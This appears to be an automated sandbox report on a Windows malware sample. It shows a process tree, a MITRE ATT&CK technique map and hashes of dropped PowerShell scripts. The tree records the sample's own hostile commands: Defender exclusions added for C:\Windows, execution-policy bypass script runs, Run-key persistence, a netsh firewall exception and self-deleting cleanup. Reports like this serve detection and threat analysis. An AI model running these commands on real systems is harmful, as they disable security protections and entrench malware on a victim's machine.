        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4700
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_ndp472-kb4054530-x86-x64-allos-enu_decompression_log.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3476
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5060
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi30f6.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:620
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3464
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi3113.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2272
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4648
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui30f6.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3088
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2580
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui3113.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2060
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2260
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\jkxpr.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2560
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2408
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\teste.ps1"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4584
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:688
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\vzykb.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4400
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4116
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\wnvrf_01.ps1"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1164
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4576
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe $S = 'C:\Windows' ; Add-MpPreference -ExclusionPath $S -force ;
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2172
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe $S = 'C:\Users\Admin\AppData\LocalLow\Windows Sytem (x86)\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\' ; Add-MpPreference -ExclusionPath $S -force ;
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2888
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\Windows Sytem (x86)\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\clanr.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3564
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\Windows Sytem (x86)\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\hhnho.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4888
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\Windows Sytem (x86)\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\rhjeu.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3992
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
        7⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:312
        
        C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe" "installutil.exe" ENABLE
        8⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        
        PID:4996
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noexit -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\Windows Sytem (x86)\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\bfwxa.ps1"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:548
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\Windows Sytem (x86)\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\hhnho.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3648
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\Windows Sytem (x86)\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\hhnho.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4652
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\Windows Sytem (x86)\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\hhnho.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:4380
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\Windows Sytem (x86)\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\hhnho.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        
        PID:4368
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\Windows Sytem (x86)\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\hhnho.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        
        PID:4464
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\Windows Sytem (x86)\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\hhnho.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        
        PID:2228
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\Windows Sytem (x86)\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\hhnho.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        
        PID:3360
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\Windows Sytem (x86)\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\hhnho.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        
        PID:3900
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Public\AVIODIRECTPN_Desc__QtyDetails.js"
        6⤵
        
        PID:2768

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe" ..
1⤵
- System Location Discovery: System Language Discovery
PID:1500

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

bfwxa.ps1

Path C:\Users\Admin\AppData\LocalLow\Windows Sytem (x86)\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\bfwxa.ps1
Size 323B
SHA256 f7349d8925b87bcdf8bf0eb9827a53286f79ae6f47a4fe5b66349c74b86e07f3
MD5 2a8691d55e2e83c763feca6a3f6d3196
SHA1 886b619508c393cd0c2ab1c8dd29411e13338aea
SHA512 7a6a33f3d41e06eaa30313e147763d5212731e2ca3da8aa6e2fa1e3eb7ae5af0fb9ef7eb8ace6b71166d4320c453dcaab652c43a5072a91952b5d6a02275af59
MD5 SHA1 SHA512

Submit Download

clanr.ps1

Path C:\Users\Admin\AppData\LocalLow\Windows Sytem (x86)\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\clanr.ps1
Size 421B
SHA256 c674b6c601cdbeca3a6e919fbb35283a98ca93178464363eaf9a8089be210518
MD5 d5208ebc9973159359efbb8c629b5c87
SHA1 783a1b2f2f5b0991c65b86f680a5be729331ec43
SHA512 a39fe9ed286753b4d6fcdff27516e01940d9ca9dc48fee6e4b9fcba37322ba0c0e4c4ecffd16e50fb5d87328efab7e9f33d664b2b295575031e215a015a5e037
MD5 SHA1 SHA512

Submit Download

hhnho.ps1

Path C:\Users\Admin\AppData\LocalLow\Windows Sytem (x86)\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\hhnho.ps1
Size 426B
SHA256 262a88c66b318540ba3899bf5da7ac84fe917e41279d505ea1c3d6afd72bc173
MD5 f09730e55015b854b07fe231e1a6ca6c
SHA1 1ad2f3b94ce9c38f9c279011bd0111ff63f6e27d
SHA512 a17d86feb9e1756a5a0ebc0cd3feba26b001a90109239eaafce76100fb4423ca63f0376ec446a863c3b55be5f6a1f7e6a48c29878e3aca046e810012e2640955
MD5 SHA1 SHA512

Submit Download

rhjeu.ps1

Path C:\Users\Admin\AppData\LocalLow\Windows Sytem (x86)\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\rhjeu.ps1
Size 306KB
SHA256 ffb82b8704cd350a72378cb2aa0f201686cc4372d16f4f4aed046a66b98fc072
MD5 3cff7af3c076f53c0819b3fdda56dfc5
SHA1 f2fed083f1ec25260e69763e4096d0718a34aa90
SHA512 775a7410c864a1e677d86641ce18fb194117ae10a4049fd25140c74ec182e0bce50c4d7549c4e41365eeb1ef9d7bc3fd2756c5425cdeb6f356ac4623cc5afdc3
SSDEEP 3072:ZNLv4GKjMhk29Ll0jQkEgz9goasMMhfZjUlRDgmuNX0anqX+2Fd0BC3R25Hdh8wo:J
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
MD5 a26df49623eff12a70a93f649776dab7
SHA1 efb53bd0df3ac34bd119adf8788127ad57e53803
SHA512 e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
SSDEEP 1536:0YaC+jH04tAHk1ZSMrxyNhftflJdvYoFi3j39MVvjMlUst+hNOwUp7bNvv+EGa5d:0YaC+jH04tAHk1cMrxyNhftflJdvYoFw
MD5 SHA1 SHA512 SSDEEP

Submit Download